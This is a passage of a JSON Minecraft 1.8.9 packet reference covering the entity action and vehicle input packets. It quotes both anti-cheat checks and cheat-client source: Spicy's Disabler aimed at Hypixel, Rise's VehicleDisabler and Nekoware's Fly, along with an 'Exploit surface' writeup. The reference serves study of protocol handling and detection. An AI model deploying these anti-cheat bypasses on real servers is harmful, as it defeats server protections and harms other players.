       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/sprint/SprintA.java =====\npackage ac.grim.grimac.checks.impl.sprint;\n\nimport ac.grim.grimac.api.storage.verbose.Verbose;\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.CheckData;\nimport ac.grim.grimac.checks.type.PostPredictionListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.anticheat.update.PredictionComplete;\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityTypes;\n\n@CheckData(name = \"SprintA\", stableKey = \"grim.sprint.hunger\", description = \"Sprinting with too low hunger\", setback = 0)\npublic class SprintA extends Check implements PostPredictionListener {\n    private static final Verbose V = Verbose.of(\"hunger={uint}\");\n\n    public SprintA(GrimPlayer player) {\n        super(player);\n    }\n\n    @Override\n    public void onPredictionComplete(PredictionComplete predictionComplete) {\n        if (!predictionComplete.isChecked()) return;\n\n        // Players can sprint if they're able to fly\n        // Players can also sprint if they are on a camel, regardless of their hunger level\n        if (player.canFly || EntityTypes.isTypeInstanceOf(player.getVehicleType(), EntityTypes.CAMEL)) return;\n\n        if (player.food <= 6.0F) {\n            if (player.isSprinting) {\n                flagWithSetback(V.write(verbose()).uint(player.food));\n            } else {\n                reward();\n            }\n        }\n    }\n}\n// NOTE (AI): SprintA runs after the prediction engine and validates sprint state against hunger; the entity action packet sets the sprinting state that this check and the SprintB-G family consume. Grim also carries SprintD/E/F for sprint direction and 1.9+ variants.\n",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/sprint/SprintA.java",
       "variations": "Grim's SprintB through SprintG cover sprint direction, 1.9+ sprint and vehicle cases; the entity action packet itself is parsed in PacketEntityAction which feeds player.isSprinting."
      },
      {
       "name": "OmniSprint (Azure)",
       "found_in": [
        "AimbotPvP-azure-anticheat"
       ],
       "purpose": "Classic omni-sprint detection: diagonal movement direction must agree with the client yaw.",
       "how_it_works": "On PlayerMoveEvent with the server-side sprint flag active (set from the entity action packet), it computes deltaX/deltaZ from the movement and the absolute yaw quadrant. Movement diagonally in a direction that contradicts the yaw quadrant is the omni-sprint signature and raises an immediate violation with a 60 second cooldown.",
       "detects": "Omni-sprint cheats that move diagonally while facing straight, and sprint direction spoofing.",
       "detailed_code": "// ===== FILE: AimbotPvP-azure-anticheat, src/main/java/us/skidrevenant/azure/check/checks/motion/OmniSprint.java =====\npackage us.skidrevenant.azure.check.checks.motion;\n\nimport org.bukkit.Location;\nimport org.bukkit.event.player.PlayerMoveEvent;\nimport us.skidrevenant.azure.check.Check;\nimport us.skidrevenant.azure.stats.PlayerStats;\n\n/**\n * @author SkidRevenant\n * at 30/05/2018\n */\npublic class OmniSprint extends Check {\n    public OmniSprint(PlayerStats player) {\n        super(player);\n    }\n\n    @Override\n    public void onMove(Location from, Location to, PlayerMoveEvent event) {\n        double deltaX = to.getX() - from.getX();\n        double deltaZ = to.getZ() - from.getZ();\n\n        float yaw = Math.abs(from.getYaw()) % 360;\n\n        if (!player.getBukkitPlayer().isSprinting()) {\n            return;\n        }\n\n        if (deltaX < 0.0 && deltaZ > 0.0 && yaw > 180.0f && yaw < 270.0f || deltaX < 0.0 && deltaZ < 0.0 && yaw > 270.0f && yaw < 360.0f || deltaX > 0.0 && deltaZ < 0.0 && yaw > 0.0f && yaw < 90.0f || deltaX > 0.0 && deltaZ > 0.0 && yaw > 90.0f && yaw < 180.0f) {\n            onViolation(\"OmniSprint\", 60000L, 0);\n        }\n    }\n}\n// NOTE (AI): Azure OmniSprint flags movement direction that contradicts the client yaw while the server-side sprint flag is set (set from the entity action packet); the classic omni-sprint signature is diagonal motion with a 90 degree yaw offset.\n",
       "code_source": "AimbotPvP-azure-anticheat, src/main/java/us/skidrevenant/azure/check/checks/motion/OmniSprint.java",
       "variations": "Truthful SprintA flags the same behavior via blindness and hunger state; FlopAC WTapA/B/C and SprintA/B cover sprint-wtap and sprint-state on the packet stream."
      },
      {
       "name": "EntityActionAdapter (NoCheatPlus)",
       "found_in": [
        "Updated-NoCheatPlus-NoCheatPlus"
       ],
       "purpose": "The ProtocolLib bridge for the entity action packet, feeding NCP's net toggle-frequency check.",
       "how_it_works": "A BaseAdapter registered at LOW priority for ENTITY_ACTION. It resolves player data safely, records the action timestamp into the player action frequency buffer, refreshes the last-packet time, and runs the ToggleFrequency check that limits how often sprint and sneak can be toggled. A cancel decision requests a setback through the player data.",
       "detects": "Sprint and sneak toggle spam, action-frequency abuse, and clients that flood entity actions to desync server state.",
       "detailed_code": "// ===== FILE: Updated-NoCheatPlus-NoCheatPlus, NCPCompatProtocolLib/src/main/java/fr/neatmonster/nocheatplus/checks/net/protocollib/EntityActionAdapter.java =====\n/*\n * This program is free software: you can redistribute it and/or modify\n *   it under the terms of the GNU General Public License as published by\n *   the Free Software Foundation, either version 3 of the License, or\n *   (at your option) any later version.\n *\n *   This program is distributed in the hope that it will be useful,\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *   GNU General Public License for more details.\n *\n *   You should have received a copy of the GNU General Public License\n *   along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\npackage fr.neatmonster.nocheatplus.checks.net.protocollib;\n\nimport java.util.Arrays;\nimport java.util.LinkedList;\nimport java.util.List;\n\nimport org.bukkit.entity.Player;\nimport org.bukkit.plugin.Plugin;\n\nimport com.comphenix.protocol.PacketType;\nimport com.comphenix.protocol.events.ListenerPriority;\nimport com.comphenix.protocol.events.PacketEvent;\nimport com.comphenix.protocol.reflect.StructureModifier;\nimport com.comphenix.protocol.wrappers.EnumWrappers.PlayerAction;\n\nimport fr.neatmonster.nocheatplus.checks.CheckType;\nimport fr.neatmonster.nocheatplus.checks.net.NetConfig;\nimport fr.neatmonster.nocheatplus.checks.net.NetData;\nimport fr.neatmonster.nocheatplus.checks.net.ToggleFrequency;\nimport fr.neatmonster.nocheatplus.logging.StaticLog;\nimport fr.neatmonster.nocheatplus.players.DataManager;\nimport fr.neatmonster.nocheatplus.players.IPlayerData;\n\n/**\n * Adapter for the EntityAction NMS packet.\n */\npublic class EntityActionAdapter extends BaseAdapter {\n    \n    private final ToggleFrequency toggleFrequency = new ToggleFrequency();\n    \n    private static PacketType[] initPacketTypes() {\n        final List<PacketType> types = new LinkedList<PacketType>(Arrays.asList(PacketType.Play.Client.ENTITY_ACTION));\n        return types.toArray(new PacketType[types.size()]);\n    }\n\n    public EntityActionAdapter(Plugin plugin) {\n        super(plugin, ListenerPriority.LOW, initPacketTypes());\n    }\n    \n    @Override\n    public void onPacketReceiving(final PacketEvent event) {\n        // Do some early return tests first.\n        try {\n            if (event.isPlayerTemporary()) return;\n        } \n        catch (NoSuchMethodError e) {}\n        \n        // Not interested in any other packet.\n        if (event.getPacketType() != PacketType.Play.Client.ENTITY_ACTION) {\n            return;\n        }\n        final Player player = event.getPlayer();\n        if (player == null) {\n            counters.add(ProtocolLibComponent.idNullPlayer, 1);\n            return;\n        }\n        \n        final IPlayerData pData = DataManager.getPlayerDataSafe(player);\n        if (pData == null) {\n            StaticLog.logWarning(\"Failed to fetch player data with \" + event.getPacketType() + \" for: \" + player.toString());\n            return;\n        }\n        final StructureModifier<PlayerAction> actions = event.getPacket().getPlayerActions();\n        // if (actions.size() != 1) {\n        //     StaticLog.logWarning(\"Unexpected packet size for EntityActionAdapter: \" + actions.size());\n        //     return;\n        // }\n       \n        final NetData data = pData.getGenericInstance(NetData.class);\n        // (This check might invalidate the current BedLeave implementation...)\n        // Currently, we don't discern action types from one another.\n        data.playerActionFreq.add(System.currentTimeMillis(), 1f);\n        // Always set last received time.\n        data.lastKeepAliveTime = System.currentTimeMillis();\n        boolean cancel = false;\n        if (!cancel && pData.isCheckActive(CheckType.NET_TOGGLEFREQUENCY, player)\n            && toggleFrequency.check(player, data, pData.getGenericInstance(NetConfig.class), pData)\n            && !pData.hasBypass(CheckType.NET_TOGGLEFREQUENCY, player)) {\n            cancel = true;\n        }\n        \n        // Request a setback\n        if (cancel) {\n        \tdata.requestSetBack(player, this, plugin, checkType);\n        }\n    }\n}\n// NOTE (AI): NCP's EntityActionAdapter is the ProtocolLib bridge for PacketPlayInEntityAction: it records action frequency and last-packet time, then runs the net ToggleFrequency check that limits how often the player may toggle sprint and sneak.\n",
       "code_source": "Updated-NoCheatPlus-NoCheatPlus, NCPCompatProtocolLib/src/main/java/fr/neatmonster/nocheatplus/checks/net/protocollib/EntityActionAdapter.java",
       "variations": "Frequency's WrappedPlayInEntityAction feeds BadPacketsC/G and InvalidD/E; CheaterDeleter's PlayerInteractEntity mixin covers the modern 1.19+ equivalent on the same action domain."
      },
      {
       "name": "SprintA (Truthful)",
       "found_in": [
        "TawnyE-TruthfulAC"
       ],
       "purpose": "Sprint state validity check on the movement stream: sprinting is illegal with blindness or with food at or below 6.",
       "how_it_works": "Handles relative-move wrappers on position updates. If the player is not sprinting (sprint state set from the entity action packet) the buffer decays. When sprinting and not allowed to fly, blindness adds 2.0 to the buffer (flag at 4.0) and food at or below 6 adds 1.0 (flag at 5.0), with a decaying buffer that resets on quit.",
       "detects": "Omni-sprint with blindness, hunger-ignoring sprint modules, and sprint state desync.",
       "detailed_code": "// ===== FILE: TawnyE-TruthfulAC, src/main/java/ret/tawny/truthful/checks/impl/packet/sprint/SprintA.java =====\npackage ret.tawny.truthful.checks.impl.packet.sprint;\n\nimport org.bukkit.entity.Player;\nimport org.bukkit.event.EventHandler;\nimport org.bukkit.event.player.PlayerQuitEvent;\nimport org.bukkit.potion.PotionEffectType;\nimport ret.tawny.truthful.Truthful;\nimport ret.tawny.truthful.checks.api.Check;\nimport ret.tawny.truthful.checks.api.CheckBuffer;\nimport ret.tawny.truthful.checks.api.data.CheckData;\nimport ret.tawny.truthful.checks.api.data.CheckType;\nimport ret.tawny.truthful.data.PlayerData;\nimport ret.tawny.truthful.wrapper.impl.client.position.RelMovePacketWrapper;\n\n@CheckData(order = 'A', type = CheckType.SPRINT)\npublic final class SprintA extends Check {\n\n    private final CheckBuffer buffer = new CheckBuffer(10.0);\n\n    @Override\n    public void handleRelMove(final RelMovePacketWrapper wrapper) {\n        if (!wrapper.isPositionUpdate()) return;\n\n        final Player player = wrapper.getPlayer();\n        final PlayerData data = Truthful.getInstance().getDataManager().getPlayerData(player);\n        if (data == null) return;\n\n        if (!data.isSprinting()) {\n            buffer.decrease(player, 0.5);\n            return;\n        }\n\n        if (data.isAllowFlight()) return;\n\n        // 1. Blindness Check\n        if (data.hasPotionEffect(PotionEffectType.BLINDNESS)) {\n            if (buffer.increase(player, 2.0) > 4.0) {\n                flag(data, \"OmniSprint (Blindness)\");\n            }\n            return;\n        }\n\n        // 2. Hunger Check\n        int foodLevel = data.getFoodLevel();\n        if (foodLevel <= 6) {\n            if (buffer.increase(player, 1.0) > 5.0) {\n                // DETAILED INFO FOR ALERT\n                flag(data, String.format(\"OmniSprint (Hunger: %d)\", foodLevel));\n            }\n        } else {\n            buffer.decrease(player, 0.25);\n        }\n    }\n\n    @EventHandler\n    public void onQuit(final PlayerQuitEvent event) {\n        buffer.remove(event.getPlayer());\n    }\n}\n// NOTE (AI): Truthful SprintA is a state check on the movement stream: sprinting is invalid with blindness or with food at or below 6, using a buffer for both cases; sprint state itself is tracked from the entity action packet.\n",
       "code_source": "TawnyE-TruthfulAC, src/main/java/ret/tawny/truthful/checks/impl/packet/sprint/SprintA.java",
       "variations": "SprintB in the same package adds direction validation; Photon's BetterSprint sentinel module and FlopAC SprintA cover the same ground on other bases."
      }
     ]
    }
   },
   "wiki_notes": [
    "The leave-bed action is only sent when the Leave Bed button is clicked in the sleep GUI, not on a natural morning wake. The vanilla server ignores the entity ID field and applies the action to the sending player.",
    "MCP 1.8.9 C0BPacketEntityAction implements Packet<INetHandlerPlayServer> dispatching to INetHandlerPlayServer.processEntityAction; wire serde is readPacketData/writePacketData via readEnumValue, readVarIntFromBuffer.",
    "1.8.9 callers: EntityPlayerSP.onUpdateWalkingPlayer sends new C0BPacketEntityAction (line 197) +1 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/client/entity/EntityPlayerSP.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/C0BPacketEntityAction/",
   "mcp_path": "net/minecraft/network/play/client/C0BPacketEntityAction.java",
   "group": "play-server",
   "logic_classes": [
    "EntityPlayerSP"
   ]
  },
  {
   "id": "C0CPacketInput",
   "hex": "0x0C",
   "dec": 12,
   "dir": "SERVERBOUND",
   "state": "PLAY",
   "name": "Input",
   "desc": "Player steers a vehicle (boat or horse). Sends sideways/forward movement, jump flag, and unmount flag.",
   "tags": [
    "entity",
    "vehicle",
    "boat",
    "horse",
    "movement"
   ],
   "fields": [
    {
     "name": "sideways",
     "type": "float",
     "desc": "Left/right input (-1 to 1)"
    },
    {
     "name": "forward",
     "type": "float",
     "desc": "Forward/back input (-1 to 1)"
    },
    {
     "name": "jump",
     "type": "boolean",
     "desc": "Jump flag"
    },
    {
     "name": "unmount",
     "type": "boolean",
     "desc": "Sneak to dismount flag"
    }
   ],
   "encoding": [
    [
     "Sideways",
     "float",
     "Left/right input"
    ],
    [
     "Forward",
     "float",
     "Forward/back input"
    ],
    [
     "Jump",
     "bool",
     "Horse jump or boat vertical"
    ],
    [
     "Unmount",
     "bool",
     "Dismount vehicle"
    ]
   ],
   "mcp": [
    "NetHandlerPlayServer.processInput()"
   ],
   "handler": "INetHandlerPlayServer",
   "notes": "Sent every tick while riding a vehicle. Rise 6.0 uses C0CPacketInput in its Disabler module for three different modes: VehicleDisabler (send empty C0C on pre-motion), InputDisabler (send C0C with fix- ed values on strafe), and GhostlyDisabler (send C0C alongside C03 movement). The empty constructor C0CPacketInput() defaults to (0,0,false,false) which freezes the boat.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "The vehicle steering packet. Every tick while the player rides a boat, horse or pig, EntityPlayerSP.onUpdateWalkingPlayer sends C0CPacketInput with strafeSpeed (moveStrafing), forwardSpeed (moveForward), the jump flag and the sneak/unmount flag. The server applies these to the ridden entity via setEntityActionState, which drives boat paddling, horse jump charging and pig steering. The empty constructor used by every module in the corpus defaults to (0.0F, 0.0F, false, false): a request to stop all input."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayServer.processInput calls playerEntity.setEntityActionState(strafeSpeed, forwardSpeed, isJumping, isSneaking) with no validation on the floats. The values feed the ridden entity on the next tick: forward and sideways map to boat rowing velocity and pig steering angle, the jump flag charges a horse jump. Because the floats are applied directly, absurd magnitudes propagate straight into vehicle motion."
     },
     {
      "h": "Why clients touch it",
      "p": "Every real use in the 8 clients is disabler-side. Memeware's AACv1.9.10 and Ghostly modes inject an empty C0C before each C03PacketPlayer; Nekoware's Ghostly mode sends one every 10 ticks; Rise 5.99's Disabler sends empty C0C (verusOld, ghostly), (0.98F, 0.0F, false, false) (coc) and (Float.MAX_VALUE, Float.MAX_VALUE, false, false) (funnyCraft); Spicy's Disabler cancels C0C outright. Rise 6.x splits the pattern into VehicleDisabler, InputDisabler and GhostlyDisabler modes. Nekoware's Fly Damage mode sends empty C0C before its fall packets."
     },
     {
      "h": "Exploit surface",
      "p": "The server applies input floats without clamping, so extreme values distort vehicle physics and desync the server's vehicle state from the player's C03 position stream, which movement anti-cheats then flag. An empty C0C freezes the boat server-side while the client moves freely, the classic BoatFly primitive. Cancelling C0C (Spicy) makes the server keep the player's input stale, which some anti-cheat versions read as a mounted state inconsistent with C03 movement."
     }
    ],
    "overview": "The vehicle input packet. No client in the corpus uses C0C for direct BoatFly-style speed; every real use is a disabler injecting empty or extreme C0C values to corrupt server-side input state, plus Spicy cancelling it and Nekoware pairing it with fall packets in Fly.",
    "server_handling": "processInput forwards the four fields verbatim into setEntityActionState; EntityPlayer feeds them to the ridden entity each tick. Boat motion is rowing ticks derived from forward input, horse jump is a charged power from the jump flag hold, and the sneak flag dismounts. There is no clamp, no rate limit, and no check that the player is actually riding.",
    "protocol_notes": "Four fields: two floats (strafe, forward), two booleans (jump, sneak/unmount). Sent once per tick while ridingEntity is non-null; vanilla sends it even when all inputs are zero. The default constructor (0, 0, false, false) is the module workhorse, injected as a stop-input reset. Float.MAX_VALUE pairs decode normally and are applied unclamped. Wire order: strafe, forward, jump, sneak.",
    "anticheat_landscape": "Vehicle checks compare C0C input against the motion the server applies to the boat or horse and against the player's C03 position stream. Float.MAX_VALUE input alongside normal C03 movement is a classic desync flag; empty C0C spam is low risk because zero input is legitimate when standing still in a boat. NCP-era disablers used the empty-C0C reset to clear vehicle and water checks right before each C03.",
    "modules": [
     {
      "name": "Disabler",
      "found_in": [
       "Memeware 7.3",
       "Nekoware v1 private",
       "Rise 5.99",
       "Spicy"
      ],
      "purpose": "Break anti-cheat vehicle and input-state heuristics by cancelling C0C or injecting synthetic input packets.",
      "how_it_works": "Mode-dependent. Spicy cancels every outgoing C0C in EventSendPacket pre. Memeware AACv1.9.10 sends an empty C0C before each C03 (with y bumped by 7.0E-9D to reset critical checks) and Ghostly sends one before each C03. Nekoware Ghostly sends empty C0C every 10 ticks from a packet-in event. Rise 5.99 sends empty C0C in verusOld and ghostly modes, (0.98F, 0.0F, false, false) in coc, and the Float.MAX_VALUE pair in funnyCraft.",
      "detailed_code": "// ===== FILE: Spicy, info/spicyclient/modules/player/Disabler.java =====\npackage info.spicyclient.modules.player;\n\nimport java.util.ArrayList;\nimport java.util.Random;\n\nimport org.lwjgl.input.Keyboard;\n\nimport info.spicyclient.SpicyClient;\nimport info.spicyclient.chatCommands.Command;\nimport info.spicyclient.events.Event;\nimport info.spicyclient.events.listeners.EventPacket;\nimport info.spicyclient.events.listeners.EventSendPacket;\nimport info.spicyclient.events.listeners.EventUpdate;\nimport info.spicyclient.modules.Module;\nimport info.spicyclient.notifications.Color;\nimport info.spicyclient.notifications.NotificationManager;\nimport info.spicyclient.notifications.Type;\nimport info.spicyclient.util.MovementUtils;\nimport info.spicyclient.util.Timer;\nimport net.minecraft.entity.player.PlayerCapabilities;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.handshake.client.C00Handshake;\nimport net.minecraft.network.login.server.S00PacketDisconnect;\nimport net.minecraft.network.play.client.C00PacketKeepAlive;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C0CPacketInput;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.client.C13PacketPlayerAbilities;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\nimport net.minecraft.network.play.server.S32PacketConfirmTransaction;\n\npublic class Disabler extends Module {\n\tpublic Disabler() {\n\t\tsuper(\"Disabler\", Keyboard.KEY_NONE, Category.PLAYER);\n\t}\n\t\n\tpublic static transient boolean watchdog = false;\n\tpublic static transient ArrayList<C0FPacketConfirmTransaction> C0FPackets = new ArrayList<C0FPacketConfirmTransaction>();\n\tpublic static transient Timer ping = new Timer();\n\t\n\t@Override\n\tpublic void onEnable() {\n\t\tNotificationManager.getNotificationManager().createNotification(\"Relog for the disabler to take effect\", \"\", true, 5000, Type.INFO, Color.PINK);\n\t\twatchdog = false;\n\t}\n\t\n\t@Override\n\tpublic void onDisable() {\n\t\twatchdog = false;\n\t\t\n\t\tfor (C0FPacketConfirmTransaction p : C0FPackets) {\n\t\t\t\n\t\t\tmc.getNetHandler().getNetworkManager().sendPacketNoEvent(p);\n\t\t\t\n\t\t}\n\t\t\n\t\tC0FPackets.clear();\n\t\t\n\t}\n\t\n\t@Override\n\tpublic void onEvent(Event e) {\n\t\t\n\t\tif (e instanceof EventUpdate && e.isPre()) {\n\t\t\t\n\t\t\tthis.additionalInformation = \"Hypixel\";\n\t\t\t\n            PlayerCapabilities playerCapabilities = new PlayerCapabilities();\n            playerCapabilities.isFlying = true;\n            playerCapabilities.allowFlying = true;\n            //playerCapabilities.setFlySpeed((float) ((Math.random() * (9.0 - 0.1)) + 0.1));\n            playerCapabilities.setFlySpeed((float) ((Math.random() * (9.0 - 0.1)) + 0.1));\n            playerCapabilities.isCreativeMode = true;\n            mc.getNetHandler().getNetworkManager().sendPacketNoEvent(new C13PacketPlayerAbilities(playerCapabilities));\n            \n            // Added this\n            if (SpicyClient.config.fly.isEnabled()) {\n            \tmc.getNetHandler().getNetworkManager().sendPacketNoEvent(new C13PacketPlayerAbilities(playerCapabilities));\n            }\n            \n            if (ping.hasTimeElapsed(500 + (new Random()).nextInt(750), true) && C0FPackets.size() > 0) {\n            \tmc.getNetHandler().getNetworkManager().sendPacketNoEvent(C0FPackets.get(0));\n            \tC0FPackets.remove(0);\n            }\n            \n\t\t}\n\t\t\n\t\tif (e instanceof EventPacket && e.isPre()) {\n\t\t\t\n\t\t\tif (((EventPacket)e).packet instanceof S00PacketDisconnect) {\n\t\t\t\tC0FPackets.clear();\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\tif (e instanceof EventSendPacket && e.isPre()) {\n\t\t\t\n\t\t\tEventSendPacket event = (EventSendPacket) e;\n\t\t\t\n\t\t\tif (event.packet instanceof C00Handshake) {\n\t\t\t\tC0FPackets.clear();\n\t\t\t}\n\t\t\t\n            if (event.packet instanceof C0FPacketConfirmTransaction) {\n            \t\n                C0FPacketConfirmTransaction packetConfirmTransaction = (C0FPacketConfirmTransaction)event.packet;\n                \n                //mc.getNetHandler().getNetworkManager().sendPacketNoEvent(new C0FPacketConfirmTransaction(2147483647, packetConfirmTransaction.getUid(), false));\n                //mc.getNetHandler().getNetworkManager().sendPacketNoEvent(new C0FPacketConfirmTransaction(1147483647, packetConfirmTransaction.getUid(), false));\n                \n                \n                //packetConfirmTransaction.setAccepted(new Random().nextBoolean());\n                //packetConfirmTransaction.setWindowId(Integer.MIN_VALUE + new Random().nextInt(1000));\n                //packetConfirmTransaction.setUid(Short.MAX_VALUE);\n            \t//mc.getNetHandler().getNetworkManager().sendPacketNoEvent(new C0FPacketConfirmTransaction(Integer.MIN_VALUE, Short.MAX_VALUE, true));\n                \n                C0FPackets.add(packetConfirmTransaction);\n                e.setCanceled(true);\n            }\n\n            if (event.packet instanceof C00PacketKeepAlive) {\n            \t\n            \t//mc.getNetHandler().getNetworkManager().sendPacketNoEvent(new C00PacketKeepAlive(-2147483648 + (new Random()).nextInt(100)));\n                //e.setCanceled(true);\n                \n            }\n            \n\t\t\tif (event.packet instanceof C0CPacketInput) {\n\t\t\t\te.setCanceled(true);\n\t\t\t}\n            \n\t\t}\n\t\t\n\t}\n\t\n}\n// NOTE (AI): Spicy is the cancel variant: C0C never reaches the server, so the server's input state for the player stays stale. Memeware, Nekoware and Rise 5.99 do the opposite, injecting empty or extreme C0C values, which shows the two sides of the same disabler idea.",
      "code_source": "Spicy, info/spicyclient/modules/player/Disabler.java",
      "vanilla_hook": "EventSendPacket (pre) for the cancel; UpdateEvent and packet events for injection in the other clients.",
      "anti_cheat_notes": "Cancelling C0C is invisible per packet (the packet just never exists) but changes the server's mounted-input state; extreme-value injection is visible in the floats and flags on anti-cheats that validate input magnitude.",
      "variations": "Memeware injects via PacketUtil.sendPacketSilent, Nekoware via addToSendQueue, Rise 5.99 via PacketUtil.sendPacketWithoutEvent. Rise 5.99's ghostly mode also rounds the C03 y to the 0.015625 grid and forces onGround true after the C0C send."
     },
     {
      "name": "VehicleDisabler / InputDisabler / GhostlyDisabler",
      "found_in": [
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Rise 6.x disabler suite, three modes that each abuse C0C differently to keep server-side input state consistent with spoofed movement.",
      "how_it_works": "VehicleDisabler sends an empty C0C on every PreMotionEvent, resetting any vehicle-input expectation. InputDisabler sends (0.98f, 0, true, true) on StrafeEvent, feeding a fixed strafe with jump and sneak set. GhostlyDisabler sends an empty C0C immediately before rewriting the outgoing C03: y rounded to the 0.015625 grid and onGround forced true.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/exploit/disabler/VehicleDisabler.java =====\npackage com.alan.clients.module.impl.exploit.disabler;\n\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PreMotionEvent;\nimport com.alan.clients.module.impl.exploit.Disabler;\nimport com.alan.clients.util.packet.PacketUtil;\nimport com.alan.clients.value.Mode;\nimport net.minecraft.network.play.client.C0CPacketInput;\n\npublic class VehicleDisabler extends Mode<Disabler> {\n\n    public VehicleDisabler(String name, Disabler parent) {\n        super(name, parent);\n    }\n\n    @EventLink\n    public final Listener<PreMotionEvent> onPreMotionEvent = event -> {\n        PacketUtil.send(new C0CPacketInput());\n    };\n}\n// NOTE (AI): VehicleDisabler is the minimal form: one empty C0C per pre-motion. InputDisabler and GhostlyDisabler (both under 45 lines) extend the same idea on StrafeEvent and PacketSendEvent respectively.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/exploit/disabler/VehicleDisabler.java",
      "vanilla_hook": "PreMotionEvent, StrafeEvent, PacketSendEvent.",
      "anti_cheat_notes": "The empty and fixed-value sends are stealthy because they are valid packet shapes; the Ghostly C03 rewrite (grid y, forced ground) is the part anti-cheats can measure.",
      "variations": "Identical files in 6.1.30 and 6.2.4. Rise 6.1.30 and 6.2.4 also expose C0C to scripts via PacketAPI.sendInput(strafeSpeed, forwardSpeed, jumping, sneaking), and PingSpoofComponent lists C0C in its blink tuple so blink windows hold input packets too."
     },
     {
      "name": "Fly",
      "found_in": [
       "Nekoware v1 private"
      ],
      "purpose": "Reset server-side input state during the damage-based fly sequence so the fall packets read as stationary input.",
      "how_it_works": "Damage mode sends an empty C0C followed by C03PacketPlayer(true) on every pre-update, after the enable-time fall sequence (C04 up 3.05, back down, up 0.41999998688697815 on ground). The C0C pins the server's input state to zero while the position packets move the player.",
      "detailed_code": "// ===== FILE: Nekoware v1 private, me/nekoWare/client/module/movement/Fly.java =====\npackage me.nekoWare.client.module.movement;\n\nimport me.hippo.api.lwjeb.annotation.Handler;\nimport me.nekoWare.client.event.events.EventCollide;\nimport me.nekoWare.client.event.events.MovementEvent;\nimport me.nekoWare.client.event.events.PacketOutEvent;\nimport me.nekoWare.client.event.events.UpdateEvent;\nimport me.nekoWare.client.module.Module;\nimport me.nekoWare.client.util.blocks.misc.BlockUtil;\nimport me.nekoWare.client.util.misc.Timer;\nimport me.nekoWare.client.util.movement.MovementUtils;\nimport me.nekoWare.client.util.packet.PacketUtil;\nimport net.minecraft.init.Blocks;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.play.client.C00PacketKeepAlive;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;\nimport net.minecraft.network.play.client.C09PacketHeldItemChange;\nimport net.minecraft.network.play.client.C0CPacketInput;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.client.C18PacketSpectate;\nimport net.minecraft.util.AxisAlignedBB;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.MovementInput;\nimport org.apache.commons.lang3.RandomUtils;\n\nimport java.util.function.Consumer;\n\npublic class Fly extends Module {\n\n    private Timer timer = new Timer();\n\n    private double y;\n\n    public Fly() {\n        super(\"Fly\", 34, Module.Category.MOVEMENT);\n        this.addDouble(\"Speed\", 2.5, 0.1, 5.0);\n        this.addModes(\"Vanilla\", \"Damage\", \"Verus\");\n        this.addBoolean(\"Anti-Kick\", false);\n    }\n\n    @Handler\n    public Consumer<MovementEvent> eventConsumer0 = event -> {\n\n    };\n\n    @Handler\n    public Consumer<UpdateEvent> eventConsumer1 = (event) -> {\n\n        if (isMode(\"Vanilla\")) {\n            mc.timer.timerSpeed = 1f;\n            if (event.isPre()) {\n                float speed = getDouble(\"Speed\").floatValue();\n                MovementInput movementInput = mc.thePlayer.movementInput;\n                mc.thePlayer.motionY = movementInput.isJumping() ? speed * 0.5F\n                        : movementInput.isSneaking() ? -speed * 0.5F\n                        : 0.0F;\n                MovementUtils.setMoveSpeed(speed);\n                if (getBool(\"Anti-Kick\") && timer.delay(700.0f)) {\n                    MovementUtils.fallPacket();\n                    MovementUtils.ascendPacket();\n                    timer.reset();\n                }\n            }\n        }\n        \n        if (isMode(\"Damage\")) {\n        \t\n        \t\n            mc.timer.timerSpeed = 1f;\n\t\t\tif (event.isPre()) {\n\t\t\t\tmc.thePlayer.sendQueue.addToSendQueue(new C0CPacketInput());\n\t\t\t\tmc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer(true));\n\t\t\t\tmc.thePlayer.onGround = false;\n\t\t\t\tfloat speed = getDouble(\"Speed\").floatValue();\n\t\t\t\tMovementInput movementInput = mc.thePlayer.movementInput;\n\t\t\t\tmc.thePlayer.motionY = movementInput.isJumping() ? speed * 0.5F\n\t\t\t\t\t\t: movementInput.isSneaking() ? -speed * 0.5F : 0.0F;\n\t\t\t\tMovementUtils.setMoveSpeed(speed);\n\t\t\t}\n        }\n        \n        if (isMode(\"Verus\")) {\n        \t\n\n        \tmc.thePlayer.sendQueue.addToSendQueue(new C08PacketPlayerBlockPlacement(new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 1.5, mc.thePlayer.posZ), 1, new ItemStack(Blocks.stone.getItem(mc.theWorld, new BlockPos(-1, -1, -1))), 0, 0.94f, 0));\n            MovementUtils.setMoveSpeed(0.36);\n            mc.timer.timerSpeed = 1f;\n\n\n\n            if (y >= 11) {\n                y = 0;\n            }\n\n            y++;\n\n    mc.thePlayer.motionY = 0f;\n        }\n    };\n\n    @Handler\n    public Consumer<PacketOutEvent> 